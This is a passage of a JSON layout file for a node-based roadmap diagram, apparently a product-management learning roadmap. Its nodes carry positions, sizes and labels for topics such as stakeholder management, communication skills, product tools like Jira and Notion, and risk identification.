590.5510680012198,\n        \"y\": 3892.0172575257884\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Communication Skills\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kirIe5QsxruRUbWGfQtbD\"\n      },\n      \"zIndex\": 999,\n      \"width\": 272,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 590.5510680012198,\n        \"y\": 3892.0172575257884\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 272,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 272,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"O5Ipa7PHeXUNEjQ6Mla7Y\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 146.682471482702,\n        \"y\": 3757.394236056515\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Interpersonal\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LPiCtvd00hWsCAefTIUxy\"\n      },\n      \"zIndex\": 999,\n      \"width\": 304,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 146.682471482702,\n        \"y\": 3757.394236056515\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 304,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 304,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LPiCtvd00hWsCAefTIUxy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 961.518950580724,\n        \"y\": 3808.72549793687\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Business\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"sQvkXvluZHgTIGS7W3Fj4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 238,\n      \"height\": 51,\n      \"positionAbsolute\": {\n        \"x\": 961.518950580724,\n        \"y\": 3808.72549793687\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 238,\n        \"height\": 51\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 238,\n        \"height\": 51\n      }\n    },\n    {\n      \"id\": \"XGnJUxZu7_WnPkklvROon\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 160.182471482702,\n        \"y\": 3816.1461206309586\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Communication Techniques\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"dk1YzX84UUe_es1x-dfp2\"\n      },\n      \"zIndex\": 999,\n      \"width\": 277,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 160.182471482702,\n        \"y\": 3816.1461206309586\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 277,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"iWCcvEEllfACoaXm5Ul5D\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 160.182471482702,\n        \"y\": 3870.1461206309586\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Difficult Conversations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"sQvkXvluZHgTIGS7W3Fj4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 277,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 160.182471482702,\n        \"y\": 3870.1461206309586\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 277,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FwYc1942Z0_KYih0BQ1CL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 160.182471482702,\n        \"y\": 3924.1461206309586\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Active Listening\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"sQvkXvluZHgTIGS7W3Fj4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 277,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 160.182471482702,\n        \"y\": 3924.1461206309586\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 277,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sQvkXvluZHgTIGS7W3Fj4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 160.182471482702,\n        \"y\": 3978.1461206309586\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Conflict Resolution\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5fze1aw1in3Gp3K31bvin\"\n      },\n      \"zIndex\": 999,\n      \"width\": 277,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 160.182471482702,\n        \"y\": 3978.1461206309586\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 277,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"D5GXDeApGwjmLG2-KF2pr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 975.018950580724,\n        \"y\": 3872.72549793687\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Alignment & Buy-In\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"y8Ys_WfPXLVfJngOLryGR\"\n      },\n      \"zIndex\": 999,\n      \"width\": 213,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 975.018950580724,\n        \"y\": 3872.72549793687\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 213,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 213,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XxeB3t8MjTbUzZj2hdKF3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 975.018950580724,\n        \"y\": 3926.72549793687\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Showing Impact\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"sQvkXvluZHgTIGS7W3Fj4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 212,\n      \"height\": 50,\n      \"positionAbsolute\": {\n        \"x\": 975.018950580724,\n        \"y\": 3926.72549793687\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 212,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"X-2mVBut_pn4o_fEGVrib\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 941.3646725978947,\n        \"y\": 4101.67667410703\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Managing Stakeholders\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5-4MXlRjH-4PlF2giZpVL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 941.3646725978947,\n        \"y\": 4101.67667410703\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Cryuk9pCI3y78HDGv6TMK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 941.3646725978947,\n        \"y\": 4184.249358231347\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Identifying Stakeholders\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QGAb7dQM052XPA0Ll-R1P\"\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 941.3646725978947,\n        \"y\": 4184.249358231347\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bHA-9gQhvjh40Cy8jbI9u\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 941.3646725978947,\n        \"y\": 4238.249358231347\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Stakeholder Mapping\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QGAb7dQM052XPA0Ll-R1P\"\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 941.3646725978947,\n        \"y\": 4238.249358231347\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rvqZRvbt73BY5X98dA3Sq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 941.3646725978947,\n        \"y\": 4292.249358231347\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Stakeholder Engagement\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QGAb7dQM052XPA0Ll-R1P\"\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 941.3646725978947,\n        \"y\": 4292.249358231347\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"QGAb7dQM052XPA0Ll-R1P\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 941.3646725978947,\n        \"y\": 4346.249358231347\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Remote Stakeholders\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"XxeB3t8MjTbUzZj2hdKF3\"\n      },\n      \"zIndex\": 999,\n      \"width\": 268,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 941.3646725978947,\n        \"y\": 4346.249358231347\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 268,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 268,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xbtAfWUo8V5JqW7f3103x\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 457.63474323374453,\n        \"y\": 4092.6766741070296\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Product Management Tools\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\"\n        },\n        \"oldId\": \"q-D_wIIv24wQyX1wqYi2R\"\n      },\n      \"zIndex\": 999,\n      \"width\": 299,\n      \"height\": 67,\n      \"positionAbsolute\": {\n        \"x\": 457.63474323374453,\n        \"y\": 4092.6766741070296\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"style\": {\n        \"width\": 299,\n        \"height\": 67\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 67\n      }\n    },\n    {\n      \"id\": \"XG-QBb--HXL-1r-jInYDN\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 469.13474323374453,\n        \"y\": 4263.108556253108\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Roadmapping Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oO-ujKApmpoQdkPEkOQG7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 276,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 469.13474323374453,\n        \"y\": 4263.108556253108\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 276,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 276,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Yjxk2gUi5jQONeLzBaeJz\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 469.13474323374453,\n        \"y\": 4379.6637665665\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Project Management Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oO-ujKApmpoQdkPEkOQG7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 276,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 469.13474323374453,\n        \"y\": 4379.6637665665\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 276,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 276,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lJ_7-oYaFWST8aBd5lIgM\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 469.13474323374453,\n        \"y\": 4497.307369026167\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Analytics Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oO-ujKApmpoQdkPEkOQG7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 276,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 469.13474323374453,\n        \"y\": 4497.307369026167\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 276,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 276,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"IAta7OX7pAxUzkFdHibY9\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 469.13474323374453,\n        \"y\": 4651.981352837288\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Communication Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oO-ujKApmpoQdkPEkOQG7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 276,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 469.13474323374453,\n        \"y\": 4651.981352837288\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 276,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 276,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"70yvt_oKcadnjZgg8FtAh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 150.84810242287926,\n        \"y\": 4155.04743827882\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Product Board\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ybq-zRDLvtTTl8X8GnRNf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 201,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 150.84810242287926,\n        \"y\": 4155.04743827882\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 201,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dr5BLjsZXk50R7vp3cMsu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 150.84810242287926,\n        \"y\": 4209.04743827882\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Aha\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"dk1YzX84UUe_es1x-dfp2\"\n      },\n      \"zIndex\": 999,\n      \"width\": 201,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 150.84810242287926,\n        \"y\": 4209.04743827882\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 201,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dk1YzX84UUe_es1x-dfp2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 150.84810242287926,\n        \"y\": 4263.04743827882\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Notion\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"XxeB3t8MjTbUzZj2hdKF3\"\n      },\n      \"zIndex\": 999,\n      \"width\": 201,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 150.84810242287926,\n        \"y\": 4263.04743827882\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 201,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"EPQ4-cKr-RqJ457XniP6w\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 149.75660309713658,\n        \"y\": 4325.6637665665\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Jira\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ybq-zRDLvtTTl8X8GnRNf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 201,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 149.75660309713658,\n        \"y\": 4325.6637665665\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 201,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PIIGfDN6t8H6tXZuKuE04\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 149.75660309713658,\n        \"y\": 4379.6637665665\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Linear\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ybq-zRDLvtTTl8X8GnRNf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 201,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 149.75660309713658,\n        \"y\": 4379.6637665665\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 201,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SD98_s1ET_j2eIIKmcKRc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 149.75660309713658,\n        \"y\": 4433.6637665665\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Trello\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ybq-zRDLvtTTl8X8GnRNf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 201,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 149.75660309713658,\n        \"y\": 4433.6637665665\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 201,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Z5oorppEJ0ydvwMXSlk1J\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 865.1063743363796,\n        \"y\": 4440.924588934162\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Amplitude\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WBnLicFo9p2zm57pyXciI\"\n      },\n      \"zIndex\": 999,\n      \"width\": 175,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 865.1063743363796,\n        \"y\": 4440.924588934162\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 175,\n        \"height\": 49\n      },\n      \"resizing\": true,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 175,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xas-t2sAKmJNfb0-Zcpwy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 865.1063743363796,\n        \"y\": 4494.924588934162\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Heap\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"y8Ys_WfPXLVfJngOLryGR\"\n      },\n      \"zIndex\": 999,\n      \"width\": 175,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 865.1063743363796,\n        \"y\": 4494.924588934162\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 175,\n        \"height\": 49\n      },\n      \"resizing\": true,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 175,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"y8Ys_WfPXLVfJngOLryGR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 865.1063743363796,\n        \"y\": 4548.924588934162\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Looker\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QGAb7dQM052XPA0Ll-R1P\"\n      },\n      \"zIndex\": 999,\n      \"width\": 175,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 865.1063743363796,\n        \"y\": 4548.924588934162\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 175,\n        \"height\": 49\n      },\n      \"resizing\": true,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 175,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UdOJDzkDP_R3E5f_IltYh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 148.33073471157127,\n        \"y\": 4543.981352837288\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Slack\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ybq-zRDLvtTTl8X8GnRNf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 201,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 148.33073471157127,\n        \"y\": 4543.981352837288\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 201,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"z72akk5E5XjEuLraS9Gug\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 148.33073471157127,\n        \"y\": 4597.981352837288\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Teams\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4gV80Qrd08_Y8oZB_hahV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 201,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 148.33073471157127,\n        \"y\": 4597.981352837288\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 201,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"e6gO1twjter9xWm14g9S9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 148.33073471157127,\n        \"y\": 4651.981352837288\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Discord\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ybq-zRDLvtTTl8X8GnRNf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 201,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 148.33073471157127,\n        \"y\": 4651.981352837288\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 201,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5KH5gd8l8ZcXb3hrbXVGv\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 987.6156736983723,\n        \"y\": 4643.481352837288\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Risk Management\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\"\n        },\n        \"oldId\": \"xbtAfWUo8V5JqW7f3103x\"\n      },\n      \"zIndex\": 999,\n      \"width\": 213,\n      \"height\": 66,\n      \"positionAbsolute\": {\n        \"x\": 987.6156736983723,\n        \"y\": 4643.481352837288\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"style\": {\n        \"width\": 213,\n        \"height\": 66\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 213,\n        \"height\": 66\n      }\n    },\n    {\n      \"id\": \"oO-ujKApmpoQdkPEkOQG7\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 976.4592791031062,\n        \"y\": 4815.41682098549\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Identifying Risks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"dk1YzX84UUe_es1x-dfp2\"\n      },\n      \"zIndex\": 999,\n      \"width\": 235,\n      \"height\": 50,\n      \"positionAbsolute\": {\n        \"x\": 976.4592791031062,\n        \"y\": 4815.41682098549\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 235,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"0zRGIArMUe9xVDSKfnoHZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 579.1835171085152,\n        \"y\": 4759.104480406178\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Risk Identification Techniques\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"EEi56Ww04QbuF2I7B7xW8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 284,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 579.1835171085152,\n        \"y\": 4759.104480406178\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 284,\n        \"height\": 